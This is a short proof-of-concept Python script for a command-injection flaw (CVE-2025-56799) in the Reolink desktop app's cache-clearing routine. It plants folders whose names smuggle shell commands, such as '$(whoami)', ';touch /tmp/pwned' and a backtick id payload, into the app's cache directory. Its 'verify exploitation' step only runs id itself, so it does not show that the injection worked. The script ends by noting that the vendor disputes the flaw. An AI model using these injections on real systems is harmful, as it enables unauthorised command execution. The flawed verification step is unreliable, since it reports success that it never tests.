CVE-2025-56799 Reolink桌面应用命令注入漏洞

# CVE-2025-56799 - Reolink Desktop Application Command Injection PoC # Vulnerability: Command injection via crafted folder name in cache-clearing mechanism import os import subprocess # Step 1: Create a malicious folder with a crafted name containing shell commands # The folder name is designed to inject commands when the cache-clearing # mechanism processes it. For example, using backticks or semicolons. malicious_folder_name = "cache_$(whoami)_$(id)" # Alternative payloads: # malicious_folder_name = "cache;touch /tmp/pwned" # malicious_folder_name = "cache`id > /tmp/pwned`" # Step 2: Place the malicious folder in a location scanned by Reolink's # cache-clearing mechanism (e.g., the cache directory or a monitored path) target_directory = os.path.expanduser("~/.config/reolink/cache/") os.makedirs(target_directory, exist_ok=True) malicious_path = os.path.join(target_directory, malicious_folder_name) os.makedirs(malicious_path, exist_ok=True) # Step 3: Wait for the scheduled cache-clearing task to execute # When Reolink processes this folder name in a shell command, # the injected commands will be executed print(f"[+] Malicious folder created at: {malicious_path}") print("[+] Waiting for Reolink's scheduled cache-clearing task...") print("[+] Upon execution, the injected commands will run on the system") # Step 4: Verify exploitation # Check if the injected command was executed result = subprocess.run(["id"], capture_output=True, text=True) print(f"[+] Current user: {result.stdout.strip()}") # Note: This vulnerability is disputed by the vendor (Reolink) because # creating such a folder requires local system access, making it a # self-attack scenario rather than a remote exploitable vulnerability.